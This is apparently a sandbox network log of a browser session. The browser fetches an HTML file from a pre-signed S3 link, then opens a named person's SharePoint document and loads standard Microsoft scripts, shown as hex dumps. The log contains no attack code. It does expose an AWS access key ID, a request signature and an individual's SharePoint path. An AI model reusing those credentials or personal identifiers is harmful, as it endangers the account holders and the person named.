2025-02-21 09:24:54 UTC	1048	OUT	GET /favicon.ico HTTP/1.1 Host: pipeline-live-userdata.s3.amazonaws.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pipeline-live-userdata.s3.amazonaws.com/uploaded_documents/fb59f758-1b0c-47b2-a022-efe767ce1838/alissonfiles03.html?response-content-disposition=inline&response-content-type=text%2Fhtml&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAJUEIEWSYHEY4ZW4A%2F20250221%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250221T070608Z&X-Amz-Expires=604800&X-Amz-SignedHeaders=host&X-Amz-Signature=b2c007b01f46d539ed9ec1d66e7cac2aefe99411d3a7f2895463ed49c3e156ac Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-21 09:24:54 UTC	285	IN	HTTP/1.1 403 Forbidden x-amz-request-id: P2MKT2MQBB5WH47P x-amz-id-2: nEFZ51xJsS0rvx95Q5J5c34nPVgSPgW1yF6chKbhIJiHaKeZfABcI49IwaGBYMfK4eXTg66rCAw= Content-Type: application/xml Transfer-Encoding: chunked Date: Fri, 21 Feb 2025 09:24:53 GMT Server: AmazonS3 Connection: close
2025-02-21 09:24:54 UTC	254	IN	Data Raw: 66 33 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 45 72 72 6f 72 3e 3c 43 6f 64 65 3e 41 63 63 65 73 73 44 65 6e 69 65 64 3c 2f 43 6f 64 65 3e 3c 4d 65 73 73 61 67 65 3e 41 63 63 65 73 73 20 44 65 6e 69 65 64 3c 2f 4d 65 73 73 61 67 65 3e 3c 52 65 71 75 65 73 74 49 64 3e 50 32 4d 4b 54 32 4d 51 42 42 35 57 48 34 37 50 3c 2f 52 65 71 75 65 73 74 49 64 3e 3c 48 6f 73 74 49 64 3e 6e 45 46 5a 35 31 78 4a 73 53 30 72 76 78 39 35 51 35 4a 35 63 33 34 6e 50 56 67 53 50 67 57 31 79 46 36 63 68 4b 62 68 49 4a 69 48 61 4b 65 5a 66 41 42 63 49 34 39 49 77 61 47 42 59 4d 66 4b 34 65 58 54 67 36 36 72 43 41 77 3d 3c 2f 48 6f 73 74 49 64 3e 3c 2f 45 72 72 6f 72 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: f3<?xml version="1.0" encoding="UTF-8"?><Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>P2MKT2MQBB5WH47P</RequestId><HostId>nEFZ51xJsS0rvx95Q5J5c34nPVgSPgW1yF6chKbhIJiHaKeZfABcI49IwaGBYMfK4eXTg66rCAw=</HostId></Error>0

Timestamp	Bytes transferred	Direction	Data
2025-02-21 09:25:01 UTC	817	OUT	GET /:w:/g/personal/alisson_rouvin_casp_asso_fr/EfyFTtajPpBPo0F92AyYkDcBS9bucZ0-XH8erCIW0hbY0w?e=70OfIa?usr=null HTTP/1.1 Host: casp-my.sharepoint.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://pipeline-live-userdata.s3.amazonaws.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-21 09:25:01 UTC	2008	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/10.0 X-NetworkStatistics: 4294967295,4294967295,4294967295,4294967295,4294967295,4294967295,4294967295,4294967295 X-SharePointHealthScore: 0 X-AspNet-Version: 4.0.30319 IsOCDI: 0 X-DataBoundary: EU X-1DSCollectorUrl: https://eu-mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://eu-mobile.events.data.microsoft.com/Collector/3.0 SPRequestGuid: ff9f83a1-e03e-b000-9d91-ae85cbf5face request-id: ff9f83a1-e03e-b000-9d91-ae85cbf5face MS-CV: oYOf/z7gALCdka6Fy/X6zg.0 Alt-Svc: h3=":443";ma=86400 Report-To: {"group":"network-errors","max_age":7200,"endpoints":[{"url":"https://spo.nel.measure.office.net/api/report?tenantId=6d233ac3-58ab-4f3e-8a19-798e723001ad&destinationEndpoint=190119&frontEnd=FarmDirect&RemoteIP=8.46.123.0"}]} NEL: {"report_to":"network-errors","max_age":7200,"success_fraction":0.001,"failure_fraction":1.0} Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com m365.cloud.microsoft .cloud.microsoft .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com .onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 114 SPIisLatency: 4 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25805 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Date: Fri, 21 Feb 2025 09:25:01 GMT Connection: close Content-Length: 70114
2025-02-21 09:25:01 UTC	14376	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3a 6f 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 6d 69 63 72 6f 73 6f 66 74 2d 63 6f 6d 3a 6f 66 66 69 63 65 3a 6f 66 66 69 63 65 22 20 6c 61 6e 67 3d 22 66 72 2d 66 72 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 47 45 4e 45 52 41 54 4f 52 22 20 63 6f 6e 74 65 6e 74 3d 22 4d 69 63 72 6f 73 6f 66 74 20 53 68 61 72 65 50 6f 69 6e 74 22 20 2f Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns:o="urn:schemas-microsoft-com:office:office" lang="fr-fr" dir="ltr"><head><meta name="GENERATOR" content="Microsoft SharePoint" /
2025-02-21 09:25:01 UTC	16384	IN	Data Raw: 65 3e 0d 0a 09 3c 64 69 76 20 69 64 3d 22 6d 6f 64 75 6c 65 4c 69 6e 6b 50 61 6e 65 6c 22 3e 0d 0a 09 0d 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 72 65 73 2d 31 2e 63 64 6e 2e 6f 66 66 69 63 65 2e 6e 65 74 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 20 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 72 65 73 2d 31 2e 63 64 6e 2e 6f 66 66 69 63 65 2e 6e 65 74 2f 66 69 6c 65 73 2f 6f 64 73 70 2d 77 65 62 2d 70 72 6f 64 5f 32 30 32 35 2d 30 32 2d 30 37 2e 30 31 32 2f 73 70 6f 67 75 65 73 74 61 63 63 65 73 73 77 65 62 70 61 63 6b 2f 73 70 6f 67 75 65 73 74 61 63 63 65 73 73 2e 6a 73 22 20 61 73 3d 22 73 63 72 69 70 74 22 20 69 6e Data Ascii: e><div id="moduleLinkPanel"><link rel="preconnect" href="https://res-1.cdn.office.net" crossorigin /><link rel="preload" href="https://res-1.cdn.office.net/files/odsp-web-prod_2025-02-07.012/spoguestaccesswebpack/spoguestaccess.js" as="script" in
2025-02-21 09:25:01 UTC	16384	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 74 3d 74 5b 65 5d 7d 29 3b 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 6d 61 6b 65 45 72 72 6f 72 28 65 2c 74 2c 72 2c 6e 29 7b 76 61 72 20 69 3d 6e 65 77 20 45 72 72 6f 72 28 74 2b 22 5c 6e 68 74 74 70 3a 2f 2f 72 65 71 75 69 72 65 6a 73 2e 6f 72 67 2f 64 6f 63 73 2f 65 72 72 6f 72 73 2e 68 74 6d 6c 23 22 2b 65 29 3b 69 2e 72 65 71 75 69 72 65 54 79 70 65 3d 65 3b 69 2e 72 65 71 75 69 72 65 4d 6f 64 75 6c 65 73 3d 6e 3b 72 26 26 28 69 2e 6f 72 69 67 69 6e 61 6c 45 72 72 6f 72 3d 72 29 3b 72 65 74 75 72 6e 20 69 7d 69 66 28 76 6f 69 64 20 30 3d 3d 3d 64 65 66 69 6e 65 29 7b 69 66 28 76 6f 69 64 20 30 21 3d 3d 72 65 71 75 69 72 65 6a 73 29 7b 69 66 28 69 73 46 75 6e 63 74 69 6f 6e 28 72 65 71 75 69 72 65 6a 73 29 29 72 65 Data Ascii: tion(e){t=t[e]});return t}function makeError(e,t,r,n){var i=new Error(t+"\nhttp://requirejs.org/docs/errors.html#"+e);i.requireType=e;i.requireModules=n;r&&(i.originalError=r);return i}if(void 0===define){if(void 0!==requirejs){if(isFunction(requirejs))re
2025-02-21 09:25:01 UTC	16384	IN	Data Raw: 20 20 20 76 61 72 20 6d 61 74 63 68 20 3d 20 75 72 6c 2e 6d 61 74 63 68 28 2f 5e 68 74 74 70 73 3a 5c 2f 5c 2f 5b 5e 5c 2f 5d 2b 5c 2f 2f 29 3b 0d 0a 20 20 20 20 72 65 74 75 72 6e 20 6d 61 74 63 68 20 26 26 20 6d 61 74 63 68 5b 30 5d 3b 0d 0a 20 20 7d 0d 0a 20 20 76 61 72 20 6f 72 69 67 69 6e 73 20 3d 20 62 61 73 65 55 72 6c 73 2e 6d 61 70 28 67 65 74 4f 72 69 67 69 6e 29 3b 0d 0a 20 20 77 69 6e 64 6f 77 2e 5f 5f 62 61 63 6b 75 70 42 61 73 65 55 72 6c 20 3d 20 62 61 73 65 55 72 6c 73 5b 31 5d 3b 0d 0a 20 20 76 61 72 20 62 61 63 6b 75 70 42 61 73 65 55 72 6c 20 3d 20 62 61 73 65 55 72 6c 73 5b 31 5d 3b 0d 0a 20 20 76 61 72 20 66 61 69 6c 4f 76 65 72 53 74 61 74 65 20 3d 20 28 77 69 6e 64 6f 77 2e 5f 5f 63 64 6e 46 61 69 6c 4f 76 65 72 53 74 61 74 65 20 3d Data Ascii: var match = url.match(/^https:\/\/[^\/]+\//); return match && match[0]; } var origins = baseUrls.map(getOrigin); window.__backupBaseUrl = baseUrls[1]; var backupBaseUrl = baseUrls[1]; var failOverState = (window.__cdnFailOverState =
2025-02-21 09:25:01 UTC	6586	IN	Data Raw: 72 20 50 61 67 65 5f 56 61 6c 69 64 61 74 6f 72 73 20 3d 20 20 6e 65 77 20 41 72 72 61 79 28 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 52 65 71 54 4f 41 41 45 4d 61 69 6c 22 29 2c 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 56 61 6c 69 64 61 74 65 54 4f 41 41 45 4d 61 69 6c 22 29 2c 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 49 6e 63 6f 72 72 65 63 74 54 4f 41 41 45 4d 61 69 6c 22 29 29 3b 0d 0a 09 2f 2f 5d 5d 3e 0d 0a 3c 2f 73 63 72 69 70 74 3e 0d 0a 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 2f 2f 3c 21 5b 43 44 41 54 41 5b 0d 0a 76 61 72 20 52 65 71 54 4f 41 41 45 4d 61 69 6c 20 3d 20 64 6f Data Ascii: r Page_Validators = new Array(document.getElementById("ReqTOAAEMail"), document.getElementById("ValidateTOAAEMail"), document.getElementById("IncorrectTOAAEMail"));//...</script><script type="text/javascript">//<![CDATA[var ReqTOAAEMail = do

Timestamp	Bytes transferred	Direction	Data
2025-02-21 09:25:01 UTC	783	OUT	GET /WebResource.axd?d=88byAly_dSfEWAYlHoCKtWYsWda8AD33TbzvaDlm9r3zv8mlgbEIK5Io1tPOtJmeWu1_EqZkud52TG16rzz2maFTavTQVFCf3cAVshMHi401&t=638722377274822434 HTTP/1.1 Host: casp-my.sharepoint.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://casp-my.sharepoint.com/:w:/g/personal/alisson_rouvin_casp_asso_fr/EfyFTtajPpBPo0F92AyYkDcBS9bucZ0-XH8erCIW0hbY0w?e=70OfIa?usr=null Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-21 09:25:02 UTC	709	IN	HTTP/1.1 200 OK Cache-Control: public Content-Type: application/x-javascript Expires: Fri, 20 Feb 2026 21:05:21 GMT Last-Modified: Sun, 12 Jan 2025 08:15:27 GMT Server: Microsoft-IIS/10.0 X-NetworkStatistics: 4294967295,4294967295,4294967295,4294967295,4294967295,4294967295,4294967295,4294967295 X-AspNet-Version: 4.0.30319 SPRequestDuration: 3 SPIisLatency: 0 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25805 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Date: Fri, 21 Feb 2025 09:25:01 GMT Connection: close Content-Length: 23063
2025-02-21 09:25:02 UTC	15675	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 57 65 62 46 6f 72 6d 5f 50 6f 73 74 42 61 63 6b 4f 70 74 69 6f 6e 73 28 65 76 65 6e 74 54 61 72 67 65 74 2c 20 65 76 65 6e 74 41 72 67 75 6d 65 6e 74 2c 20 76 61 6c 69 64 61 74 69 6f 6e 2c 20 76 61 6c 69 64 61 74 69 6f 6e 47 72 6f 75 70 2c 20 61 63 74 69 6f 6e 55 72 6c 2c 20 74 72 61 63 6b 46 6f 63 75 73 2c 20 63 6c 69 65 6e 74 53 75 62 6d 69 74 29 20 7b 0d 0a 20 20 20 20 74 68 69 73 2e 65 76 65 6e 74 54 61 72 67 65 74 20 3d 20 65 76 65 6e 74 54 61 72 67 65 74 3b 0d 0a 20 20 20 20 74 68 69 73 2e 65 76 65 6e 74 41 72 67 75 6d 65 6e 74 20 3d 20 65 76 65 6e 74 41 72 67 75 6d 65 6e 74 3b 0d 0a 20 20 20 20 74 68 69 73 2e 76 61 6c 69 64 61 74 69 6f 6e 20 3d 20 76 61 6c 69 64 61 74 69 6f 6e 3b 0d 0a 20 20 20 20 74 68 69 73 2e 76 61 6c Data Ascii: function WebForm_PostBackOptions(eventTarget, eventArgument, validation, validationGroup, actionUrl, trackFocus, clientSubmit) { this.eventTarget = eventTarget; this.eventArgument = eventArgument; this.validation = validation; this.val
2025-02-21 09:25:02 UTC	7388	IN	Data Raw: 61 75 6c 74 42 75 74 74 6f 6e 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 74 61 72 67 65 74 29 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 65 6c 73 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 65 66 61 75 6c 74 42 75 74 74 6f 6e 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 61 6c 6c 5b 74 61 72 67 65 74 5d 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 69 66 20 28 64 65 66 61 75 6c 74 42 75 74 74 6f 6e 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 57 65 62 46 6f 72 6d 5f 53 69 6d 75 6c 61 74 65 43 6c 69 63 6b 28 64 65 66 61 75 6c 74 42 75 74 74 6f 6e 2c 20 65 76 65 6e 74 29 3b 0d 0a 20 20 20 20 20 20 20 20 7d 20 0d 0a 20 20 20 20 7d 0d 0a 20 20 20 20 72 Data Ascii: aultButton = document.getElementById(target); } else { defaultButton = document.all[target]; } if (defaultButton) { return WebForm_SimulateClick(defaultButton, event); } } r

Timestamp	Bytes transferred	Direction	Data
2025-02-21 09:25:02 UTC	848	OUT	GET /ScriptResource.axd?d=qG5cZC_r-vjA5alF1F7cP1ojaTdycTZtYbAW6i40CCMvVoP-LqtNdKXZALKV3oY9IRBAKkgqJxHyUZVhX7XR2OhnfHp840tX34IBU2j5N3RGOc_8hFN6dOeZBbtJPkmJdOYvev-5mehbL5Maqgf6LpRnUqjZqe2772PpI7spBVk1&t=ffffffffc7a8e318 HTTP/1.1 Host: casp-my.sharepoint.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://casp-my.sharepoint.com/:w:/g/personal/alisson_rouvin_casp_asso_fr/EfyFTtajPpBPo0F92AyYkDcBS9bucZ0-XH8erCIW0hbY0w?e=70OfIa?usr=null Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-21 09:25:02 UTC	724	IN	HTTP/1.1 200 OK Cache-Control: public Content-Type: application/x-javascript; charset=utf-8 Expires: Sat, 21 Feb 2026 09:25:02 GMT Last-Modified: Fri, 21 Feb 2025 09:25:02 GMT Server: Microsoft-IIS/10.0 X-NetworkStatistics: 4294967295,4294967295,4294967295,4294967295,4294967295,4294967295,4294967295,4294967295 X-AspNet-Version: 4.0.30319 SPRequestDuration: 4 SPIisLatency: 0 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25805 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Date: Fri, 21 Feb 2025 09:25:02 GMT Connection: close Content-Length: 26951
2025-02-21 09:25:02 UTC	15660	IN	Data Raw: 76 61 72 20 50 61 67 65 5f 56 61 6c 69 64 61 74 69 6f 6e 56 65 72 20 3d 20 22 31 32 35 22 3b 0d 0a 76 61 72 20 50 61 67 65 5f 49 73 56 61 6c 69 64 20 3d 20 74 72 75 65 3b 0d 0a 76 61 72 20 50 61 67 65 5f 42 6c 6f 63 6b 53 75 62 6d 69 74 20 3d 20 66 61 6c 73 65 3b 0d 0a 76 61 72 20 50 61 67 65 5f 49 6e 76 61 6c 69 64 43 6f 6e 74 72 6f 6c 54 6f 42 65 46 6f 63 75 73 65 64 20 3d 20 6e 75 6c 6c 3b 0d 0a 76 61 72 20 50 61 67 65 5f 54 65 78 74 54 79 70 65 73 20 3d 20 2f 5e 28 74 65 78 74 7c 70 61 73 73 77 6f 72 64 7c 66 69 6c 65 7c 73 65 61 72 63 68 7c 74 65 6c 7c 75 72 6c 7c 65 6d 61 69 6c 7c 6e 75 6d 62 65 72 7c 72 61 6e 67 65 7c 63 6f 6c 6f 72 7c 64 61 74 65 74 69 6d 65 7c 64 61 74 65 7c 6d 6f 6e 74 68 7c 77 65 65 6b 7c 74 69 6d 65 7c 64 61 74 65 74 69 6d 65 Data Ascii: var Page_ValidationVer = "125";var Page_IsValid = true;var Page_BlockSubmit = false;var Page_InvalidControlToBeFocused = null;var Page_TextTypes = /^(text\|password\|file\|search\|tel\|url\|email\|number\|range\|color\|datetime\|date\|month\|week\|time\|datetime
2025-02-21 09:25:03 UTC	11291	IN	Data Raw: 6e 20 43 6f 6d 70 61 72 65 56 61 6c 69 64 61 74 6f 72 45 76 61 6c 75 61 74 65 49 73 56 61 6c 69 64 28 76 61 6c 29 20 7b 0d 0a 20 20 20 20 76 61 72 20 76 61 6c 75 65 20 3d 20 56 61 6c 69 64 61 74 6f 72 47 65 74 56 61 6c 75 65 28 76 61 6c 2e 63 6f 6e 74 72 6f 6c 74 6f 76 61 6c 69 64 61 74 65 29 3b 0d 0a 20 20 20 20 69 66 20 28 56 61 6c 69 64 61 74 6f 72 54 72 69 6d 28 76 61 6c 75 65 29 2e 6c 65 6e 67 74 68 20 3d 3d 20 30 29 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 74 72 75 65 3b 0d 0a 20 20 20 20 76 61 72 20 63 6f 6d 70 61 72 65 54 6f 20 3d 20 22 22 3b 0d 0a 20 20 20 20 69 66 20 28 28 74 79 70 65 6f 66 28 76 61 6c 2e 63 6f 6e 74 72 6f 6c 74 6f 63 6f 6d 70 61 72 65 29 20 21 3d 20 22 73 74 72 69 6e 67 22 29 20 7c 7c 0d 0a 20 20 20 20 20 20 20 20 28 Data Ascii: n CompareValidatorEvaluateIsValid(val) { var value = ValidatorGetValue(val.controltovalidate); if (ValidatorTrim(value).length == 0) return true; var compareTo = ""; if ((typeof(val.controltocompare) != "string") \|\| (

Timestamp	Bytes transferred	Direction	Data
2025-02-21 09:25:02 UTC	861	OUT	GET /ScriptResource.axd?d=K166jF9pIgoi79uxq00sThc_1Oud8RRwX0NOTgBQ9M38UiQdmAiA2xPHKr8k4EgEhLns1OEz88J1YNl6lcuDHKDWFkk1GNAGrWn_Il_XBmEF0m6O8L3fdgQZkDbb6RG9jV1lQZTyCKIr18IB3FRNvV1oji-1nbfBw7rBenvYwegkov0qenWZB-ARhAGSK5nP0&t=2a9d95e3 HTTP/1.1 Host: casp-my.sharepoint.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://casp-my.sharepoint.com/:w:/g/personal/alisson_rouvin_casp_asso_fr/EfyFTtajPpBPo0F92AyYkDcBS9bucZ0-XH8erCIW0hbY0w?e=70OfIa?usr=null Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-21 09:25:02 UTC	725	IN	HTTP/1.1 200 OK Cache-Control: public Content-Type: application/x-javascript; charset=utf-8 Expires: Sat, 21 Feb 2026 08:36:01 GMT Last-Modified: Fri, 21 Feb 2025 08:36:01 GMT Server: Microsoft-IIS/10.0 X-NetworkStatistics: 4294967295,4294967295,4294967295,4294967295,4294967295,4294967295,4294967295,4294967295 X-AspNet-Version: 4.0.30319 SPRequestDuration: 3 SPIisLatency: 1 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25805 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Date: Fri, 21 Feb 2025 09:25:02 GMT Connection: close Content-Length: 102801
2025-02-21 09:25:02 UTC	15659	IN	Data Raw: 2f 2f 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0d 0a 2f 2f 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0d 0a 2f 2f 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0d 0a 2f 2f 20 4d 69 63 72 6f 73 6f 66 74 41 6a 61 78 2e 6a 73 0d 0a 46 75 6e 63 74 69 6f 6e 2e 5f 5f 74 79 70 65 4e 61 6d 65 3d 22 46 75 6e 63 74 69 6f 6e 22 3b 46 75 6e 63 74 69 6f 6e 2e 5f 5f 63 6c 61 73 73 3d Data Ascii: //----------------------------------------------------------// Copyright (C) Microsoft Corporation. All rights reserved.//----------------------------------------------------------// MicrosoftAjax.jsFunction.__typeName="Function";Function.__class=
2025-02-21 09:25:03 UTC	16384	IN	Data Raw: 69 73 2e 5f 63 61 6e 63 65 6c 3d 61 7d 7d 3b 53 79 73 2e 43 61 6e 63 65 6c 45 76 65 6e 74 41 72 67 73 2e 72 65 67 69 73 74 65 72 43 6c 61 73 73 28 22 53 79 73 2e 43 61 6e 63 65 6c 45 76 65 6e 74 41 72 67 73 22 2c 53 79 73 2e 45 76 65 6e 74 41 72 67 73 29 3b 54 79 70 65 2e 72 65 67 69 73 74 65 72 4e 61 6d 65 73 70 61 63 65 28 22 53 79 73 2e 55 49 22 29 3b 53 79 73 2e 5f 44 65 62 75 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 3b 53 79 73 2e 5f 44 65 62 75 67 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 5f 61 70 70 65 6e 64 43 6f 6e 73 6f 6c 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 74 79 70 65 6f 66 20 44 65 62 75 67 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 44 65 62 75 67 2e 77 72 69 74 65 6c 6e 29 44 65 62 75 67 2e 77 72 69 74 65 6c 6e 28 61 29 3b 69 Data Ascii: is._cancel=a}};Sys.CancelEventArgs.registerClass("Sys.CancelEventArgs",Sys.EventArgs);Type.registerNamespace("Sys.UI");Sys._Debug=function(){};Sys._Debug.prototype={_appendConsole:function(a){if(typeof Debug!=="undefined"&&Debug.writeln)Debug.writeln(a);i
2025-02-21 09:25:03 UTC	16384	IN	Data Raw: 69 6e 67 28 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 28 61 29 7b 69 66 28 61 3c 31 30 29 72 65 74 75 72 6e 20 22 30 30 22 2b 61 3b 69 66 28 61 3c 31 30 30 29 72 65 74 75 72 6e 20 22 30 22 2b 61 3b 72 65 74 75 72 6e 20 61 2e 74 6f 53 74 72 69 6e 67 28 29 7d 66 75 6e 63 74 69 6f 6e 20 76 28 61 29 7b 69 66 28 61 3c 31 30 29 72 65 74 75 72 6e 20 22 30 30 30 22 2b 61 3b 65 6c 73 65 20 69 66 28 61 3c 31 30 30 29 72 65 74 75 72 6e 20 22 30 30 22 2b 61 3b 65 6c 73 65 20 69 66 28 61 3c 31 30 30 30 29 72 65 74 75 72 6e 20 22 30 22 2b 61 3b 72 65 74 75 72 6e 20 61 2e 74 6f 53 74 72 69 6e 67 28 29 7d 76 61 72 20 68 2c 70 2c 74 3d 2f 28 5b 5e 64 5d 7c 5e 29 28 64 7c 64 64 